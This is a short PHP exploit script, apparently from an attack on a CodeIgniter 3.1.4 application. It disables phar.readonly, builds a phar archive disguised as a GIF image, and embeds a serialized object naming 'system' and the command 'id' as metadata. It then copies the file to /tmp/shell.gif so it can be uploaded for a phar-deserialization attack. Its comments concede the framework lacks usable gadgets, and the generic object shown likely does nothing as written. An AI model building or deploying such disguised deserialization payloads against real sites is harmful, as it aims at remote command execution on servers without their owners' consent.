<?php
// Disable phar readonly to create phar
ini_set('phar.readonly', 0);

// Create minimal gadget chain for CI 3.1.4
// Unfortunately CI3 has no good native gadgets, but we try

// Delete old phar if exists  
@unlink('/tmp/shell.phar');
@unlink('/tmp/shell.gif');

// Create the phar
$phar = new Phar('/tmp/shell.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'test');
$phar->setStub('GIF89a<?php __HALT_COMPILER(); ?>');

// Try with generic object
$object = new stdClass();
$object->callback = 'system';
$object->args = 'id';

$phar->setMetadata($object);
$phar->stopBuffering();

// Copy to .gif extension
copy('/tmp/shell.phar', '/tmp/shell.gif');

echo "Phar created at /tmp/shell.gif\n";
echo "Size: " . filesize('/tmp/shell.gif') . " bytes\n";
echo "First 10 bytes: " . bin2hex(file_get_contents('/tmp/shell.gif', false, null, 0, 10)) . "\n";
